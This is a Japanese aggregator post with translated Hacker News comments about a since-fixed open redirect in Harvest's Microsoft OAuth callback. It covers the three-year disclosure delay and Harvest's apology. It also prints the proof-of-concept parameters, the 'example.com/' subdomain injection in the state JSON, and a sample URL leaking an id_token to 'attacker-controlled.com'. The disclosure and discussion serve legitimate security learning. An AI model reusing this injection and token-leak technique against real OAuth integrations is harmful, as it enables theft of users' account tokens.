1 ポイント 投稿者 GN⁺ 2023-10-23 | 1件のコメント | WhatsAppで共有
  • Harvest の Outlook Calendar OAuth 連携フローでは、コールバック URL が state 値の行き先へ再度遷移することで オープンリダイレクト が発生し、暗黙的認可フローと組み合わせるとトークンが外部 URL に露出し得た
  • 問題は Microsoft 側ではなく Harvest の統合側にあり、登録済みの OAuth redirect_uri が攻撃者指定ドメインへユーザーを送る リダイレクトの踏み台 になっていた
  • state は URI エンコードされた JSON で、subdomainexample.com/ のようにスラッシュ付きの外部ドメインを入れると example.com/.harvestapp.com/... 形式へ遷移する
  • PoC では Microsoft OAuth の authorize URL で client_id=0dcef4db-36d8-4aed-9cc5-ab43e1814884, response_type=id_token, response_mode=fragment, scope=openid を使用し、#id_token=... フラグメントがリダイレクト先に付与される流れを示している
  • 脆弱性は 2020 年 8 月 23 日の報告後、2023 年 8 月 1 日に修正が確認され、2023 年 10 月 22 日に Harvest は遅延が human error だったとして謝罪した

OAuth コールバックでトークンが漏れる流れ

  • Harvest はユーザーが Outlook Calendar を OAuth で接続できる時間追跡ソフトウェア
  • 認可が成功すると、ユーザーは https://outlook-integration.harvestapp.com/auth/outlook-calendar/… にリダイレクトされる
  • このコールバックはさらに state 内で指定された URL へユーザーを移動させ、その過程で オープンリダイレクト が発生する
  • 元々確認されたコールバック URL の state 値は URI エンコードされた JSON
    • デコードすると {"return_to":"/","subdomain":"hackerone295"} の形になる
    • subdomain 値は hackerone295.harvestapp.com のような Harvest アプリ領域を推定するために使われる
  • subdomainexample.com/ のようにスラッシュを付けると、コールバック URL が外部ドメインへ移動する形になる
  • このコールバック URL は OAuth アプリケーションに登録された redirect_uri であるため、オープンリダイレクトと暗黙的認可フローを組み合わせるとトークンがリダイレクト先に露出し得る
  • PoC の authorize URL は次の値を使用
  • ユーザーは最終的に次のような形式へリダイレクトされる
  • Microsoft 側の脆弱性ではない

報告から修正までにかかった時間

  • Harvest チームは脆弱性公開と修正の過程で応答が非常に少なく、triage で脆弱性を認めた後も修正まで長い時間がかかった
  • 2020 年 8 月 23 日に脆弱性が報告され、2020 年 10 月 16 日に Harvest が初めて連絡した
  • 2020 年 11 月 27 日にレポートは triaged 状態になった
  • 2022 年 4 月 28 日に同社は修正中で、予定期間を 2 週間と示したが、実際の修正まではさらに約 1 年かかった
  • 2023 年 8 月 1 日に脆弱性の修正が確認された
  • 2023 年 10 月 21 日に公開記事としてレポートが公開された
  • 同日時点でレポートは依然として triage 状態で、バグバウンティ方針には報酬の記載があったが、バウンティも HackerOne ポイントも支払われなかった
  • 2023 年 10 月 22 日、記事が注目を集めた後、Harvest は遅延について human error だったと説明し謝罪した

1件のコメント

 
GN⁺ 2023-10-23
Hacker Newsのコメント
  • バグバウンティプログラムの担当者として、社内で何が起きていたのか説明します。すでに@0xcryptoには謝罪し、社内でも説明しましたが、ここでも整理しておくのが正しいと思います
    当初からこの問題を完全には再現できず、何か見落としているのではないかと思ってクローズもできない状態でした。最後に「解決策を探す」と返答した直後には、再現不能という判断に近づいており、似たようなOAuth関連の報告が入ってきたことで社内で混乱が生じ、すでに対応して伝達済みだと勘違いしていました
    通知設定のために後続メッセージを見落とし、イシューがTriage状態のまま無期限に残り、更新がありませんでした。これは言い訳ではありません。私自身、長くバグバウンティハンターとして活動してきたので、企業からの更新を待つことがどれほどもどかしいかはよく知っています。顧客のセキュリティは最優先であり、セキュリティページに書かれている内容は事実です

    • ミスは起こり得ますが、3年の間にHackerOneへ何度も連絡していたにもかかわらず、HackerOneがHarvestと連絡を取れなかった点はまだ説明されていません
      さらに、今となっては再現できない報告をどう扱うのかも不明です。HackerOneでさらに議論したかったのですが、謝罪メッセージの後、また無応答になったように見えます
    • 最終的に、その脆弱性が説明された通りに実際に動作していたと考えているのか、もしそうならなぜ再現に失敗したのかが気になります
    • 直接説明を聞けるのはありがたいです。再現はできなかったとしても、オープンリダイレクトが可能かどうかはソースコードを見れば簡単に確認できたのではないかと思います
    • 少なくとも深刻に受け止めているという投稿をしただけでもよかったと思います。誰でもミスはしますが、ミスが起きたときに責任を取らなければ、事態は大きくなると思います
    • Harvestを便利に使っていますが、iOSの新しいモバイルアプリもそろそろ直してほしいです。小さな問題が多すぎて、サポートに報告するのもやめてしまいました
      アプリの状態がサーバーの状態と頻繁に食い違い、サーバー側の変更は強制リロード後でないと見えなかったり、クライアント側の変更が保存後に元に戻ったりします。時間追跡のユーザー体験も不便で、ボタンがスクロールしないと見えなかったり、開始/停止/再開/削除ボタンの位置が項目の状態によって常に変わったりします。以前のアプリは見た目こそ良くありませんでしたが、問題なく動作していました
  • かなり不安です。Harvestを使ってみたとき、サポートは本当に素晴らしく、返答も速く、顧客が製品をどう使っているかを細かく理解していて、既存機能を創造的に活用する方法も詳しく教えてくれました
    実装されていない機能については「バックログには入れるが保証はできない」という回答でした。エンジニアリング要員は30人とされていますが [1]、その人員がどこに使われているのかはよく分かりません。他の機能が素早く出てくるのも見ていないからです
    「Harvestユーザー」としてスパムを受け取り始め、顧客リストを売ったのではないかと疑ったのですが、会社の責任者たちがすぐにつながって強く否定し、即座に調査するほど真剣に対応しました。それは良かったです
    しかし結局、これもエンジニアリング上の問題に見えます。アクティブな顧客をかなり簡単に推定できる方法を見つけましたが、これも「バックログ」に入った後、数か月たっても修正されていません。修正はごく些細なものに見えました。また、MFAはGoogleでログインするときにしか提供されません [2]。それでもアプリ自体は、任された仕事を本当によくこなします
    1: https://www.getharvest.com/about/meet-the-team
    2: https://support.getharvest.com/hc/en-us/articles/36005266713...

    • 良い評価をありがとうございます。サポートチームが素晴らしいという点には確かに同意します。小さなチームですが、すべての案件を非常に真剣に扱っており、先ほど述べた調査にも直接関わりました
      このスレッドの報告者とのコミュニケーションが食い違ったのは完全に私のミスで、上の回答で説明した通り、二度とこのようなことがないようにします
    • 好きなのか嫌いなのか分かりません。皮肉ですか?
    • サポートの品質は間違いなく良かったです。リクエストは常に非常に熟練した人たちが対応し、たいてい数分以内に返答がありました
      機能リクエストの一部は実際に製品に入ったこともあります。私の影響ではなかったかもしれませんが、少なくとも良い時間追跡ツールについての考えは似ていたようです
  • タイトルはMicrosoftにかなり不公平に見えます。最近の認証事故でMicrosoftが注目を集めたことを利用しようとしている感じで、タイトルを見た瞬間に「またMSの侵害か」と思いました
    実際にはHarvestのトークンであり、Harvestコードのインジェクション脆弱性によってHarvestアプリへのアクセス権だけが誤って露出したものです。ほかのどんなアイデンティティプロバイダーの背後にあったとしても、同じように脆弱だったはずです

    • ブログ記事の著者です。懸念は理解しており、タイトルからMicrosoftの名前を外そうとしましたが、適切な表現が思い浮かびませんでした
      この脆弱性はMicrosoftアカウント連携用のOAuth実装にのみ影響するためです。元のタイトルは「Microsoft OAuth token leak via open redirect in Harvest App」で、その後「Microsoft Account's OAuth tokens leaking via open redirect in Harvest App」に変更しました。今でも変更するつもりはあり、提案を受け付けます
    • 私も同じことを思いました。記事がOAuthの動作をきちんと理解したうえで、これをMSトークンと呼んでいるのか疑問に思うほどでした
  • RFC 6749 では、認可サーバーがこのような攻撃を防ぐ方法を詳しく扱っている。
    認可サーバーは、公開クライアントにはリダイレクト URI の登録を必ず要求し、機密クライアントにも要求することが望ましい。リクエストでリダイレクト URI が提供された場合、認可サーバーは登録済みの値と照合して検証しなければならない。
    だとすると、Harvest アプリが悪意ある redirect_uri を登録していたはずはないのに、どうしてこれが可能だったのか気になる。Microsoft OAuth サーバーは、OAuth クライアントの登録済みリダイレクト URI と比較するときに、redirect_uri 内の URL パラメータを無視しているのだろうか?

    • 2回目のリダイレクトをその上に重ね、それを state パラメータに入れたように見える。おそらく任意の場所へリダイレクトする目的だったのだろう。
      意図されたフローは、Harvest の認証 URL へ移動 → Microsoft の認証 URL へ redirect_uri=registered_uristate=some_encoded_final_uri を付けてリダイレクト → ユーザーが認証情報を入力 → 登録済み URI へリダイレクト → state を読み、その中の URI へ再度リダイレクト、という形。
      この攻撃でも依然として許可済み URI へリダイレクトするが、そのエンドポイントが state を読み、レスポンス/トークンをそのまま渡してしまう。ミスは3つある。state の乱用、乱用するなら state を暗号化して検証していなかったこと、そしてインプリシットグラントを有効にしていたこと。必要だったなら、用途を限定した別の登録を作るべきだった。
    • Harvest の redirect_uri は Microsoft に登録されている。Microsoft OAuth サーバーが Harvest にリダイレクトした後、Harvest が state のデータに基づいて独自のリダイレクトを実装していたということ。
  • インプリシットグラントは、この記事で見られるように、こうした理由からかなりひどい。
    ちなみに、まもなく出る OAuth 2.1 仕様では削除される予定: https://www.ietf.org/archive/id/draft-ietf-oauth-v2-1-09.htm...

    • もう6年くらい前から廃止予定ではなかったか? CORS がその用途を置き換えたので、新仕様に残す理由はない。
  • 脆弱性の修正に3年かかったということ? 2020年8月から2023年8月までとは、Harvest チームの規模は知らないが、それでもあり得ないレベルに見える。

    • 多くの会社でよくあるように、低優先度でバックログに入り、何度か Jira の整理や組織改編を経た後、最終的に後で見つかって修正されたのだと思う。
    • Harvest のセキュリティチームです。他のコメントでも答えましたが、基本的に再現できず、明示的な修正もありませんでした。ただし、閉じられるべきだったイシューが私の人的ミスによりTriage 状態のまま残っていました。
  • OAuth の専門家に、この問題をもう少し詳しく説明してほしい。ブログを何度か読んだが、実際の脆弱性がまだ理解できない。
    ごく限られた OAuth の知識では、Harvest アプリが Microsoft にユーザー検証を依頼し、Microsoft がユーザーを検証した後、成功するとコールバック URL にリダイレクトし、レスポンス本文でアクセストークンを渡す、という方式ではないのか?
    この場合、ブログ筆者は戻り先 URL を実際の戻り先 URL ではなく example.com に向かわせる手製 URLを作っただけではないのか?

    • その通り。ブログ筆者はそのような手製 URL を作った。ただし攻撃 URL のコールバック URL は harvestapp ドメインで、攻撃者が制御する部分は OAuth サーバーから見るとほぼ不透明な state の中にある。
      その URL を使うと、誰かに login.microsoftonline.com のリンクを送り、「Harvest にログイン」するようなログインプロンプトを表示させたうえで、攻撃者が実際の Harvest アカウント関連の権限を得られる。
      通常は不可能。攻撃者が example.com にリダイレクトされる新しいアプリを登録することはできるが、それでは Harvest 関連の権限が入ったアクセストークンを得られないので役に立たない。
      Microsoft 側の OAuth アプリには有効なリダイレクト許可リストがあるため、login.microsoftonline.com/authorize?client_id=$harvestAppID&redirect_uri=attacker.com のような試みは Microsoft 側でエラーになる。攻撃が可能なのは、有効な outlook-integration.harvestapp.com URL がアクセストークンを受け取った後、さらに攻撃者サイトへリダイレクトし、その際にアクセストークンも渡してしまうため。
    • 脆弱性は outlook-integration.harvestapp.com にあった。OAuth2 コールバックが成功した後に実行する指示を含む JSON オブジェクトを state として使っていた。
      subdomain プロパティは、ブラウザを harvestapp.com のサブドメインへリダイレクトしつつ #id-token を渡すために使われていた。問題は、subdomain の値が以下の URL にそのまま注入されていたこと。
      https://${subdomain}.harvestapp.com/...#id-token=...
      JSON ペイロードの subdomainattacker-controlled.com/ のように末尾にスラッシュの付いた値に設定すると、URL は https://attacker-controlled.com/.harvestapp.com/...#id-token=.. となり、ブラウザが別ドメインへ移動してトークンが漏えいする。
    • Microsoft は戻り先 URL が Harvest の指定した許可リストに含まれているかを確認する。Harvest はおそらくソフトウェアの複数インスタンスをサポートするために、その上に独自のリダイレクト機構を追加したが、リダイレクト入力値を適切にサニタイズできていなかった。
      したがって OAuth 自体の暗黙的な問題ではなく、不十分な実装である。
    • 正確には分からないが、Harvest がすべての URL をコールバック URL として許可したことが問題だと思う。Microsoft には特定の URL だけをコールバックとして許可するよう伝える必要がある。
      ワークフローを設定するとき、信頼できるコールバック URL の実際のリストを作る代わりに、コールバック URL の許可リストにワイルドカードを使った可能性がある。完全に間違っているかもしれない。
  • なぜ3年も待ったのか分からない。公開前の猶予期間は90日で十分

    • ものすごく大きな変更が必要で、かなり大きなチームが業務時間の大半をこの問題に割り当てるなら、90日より長くなることもあり得る。あるいは解決策はあるが、顧客への通知のために特定の、比較的短いスケジュールに合わせて進める必要がある場合もある。
      ただし、そうした追加猶予は研究者、またはその弁護士/代理人が認めるべきもの。通常より大きな案件について、企業が善意で求める性質のものだ
  • HackerOneが企業にこういうことを3年も寝かせておくのを許すなら、自分たちの役割をきちんと果たしていないように思う

    • HackerOneはバグバウンティプログラムを運営する企業に依存している。どの程度関与するかは、提供サービス、たとえばトリアージ対応の有無などに大きく左右される。
      最も基本的なレベルでは、脆弱性公開プラットフォームと、研究者が法務チームに訴えられないようにするための標準的な法的文言を提供するだけ。
      ほとんどの場合、企業は公開要求を拒否する。研究者が許可なく公開すれば、HackerOneおよび企業との取り決めに違反し、法的責任にさらされる。今回の場合は企業が公開に同意したようで、対応が非常に遅かったとしても、その点は評価してよいと思う。
      個人的にも、4桁ドル規模の報奨金が出るバグが1年以上修正されなかったことが何度もあるが、HackerOneのせいだとは思わなかった
    • 企業側でHackerOneの案件を扱ったことがあるが、HackerOne参加者がHackerOne自身のルールを破り続けた。公開スケジュール違反、バグに関する虚偽のソーシャルメディア投稿、さらには従業員への脅迫まであった。
      HackerOneは気にしていなかった。その人物が自分たちのルールを破っていると何度も知らせても、何もできないと言われた。
      まともに運営できる状態まで作られた会社を最小限の運営要員だけ残して縮小し、権限のないサポート担当者が質問に答えているような感じだった。かなり前のことなので今は違うかもしれないが、当時の印象はそうだった
    • 3つの当事者、つまりHackerOne・企業・バグを見つけた研究者の中では、企業がすべてのレバレッジを握っている。
      HackerOneが一線を越えて、企業に何をすることを「許可」するか決めていると感じれば、企業はただHackerOneを離れて社内ソリューションを作るだろう
    • 企業レビューが必要かもしれない。何年も引き延ばして報奨金も払わないひどい企業を避けられるようにするためだ
  • なぜこの問題がMicrosoftに伝えられなかったのか理解できない。Microsoftなら問題が修正されるまで、このOAuthアプリケーションのアクセス権を取り消せたはずだ。
    ただ、MicrosoftにはOAuthで接続された同じようにひどい実装が何千もありそうだ

    • そんなことが可能だとは知らなかった。個人的には絶対に思いつかなかったと思う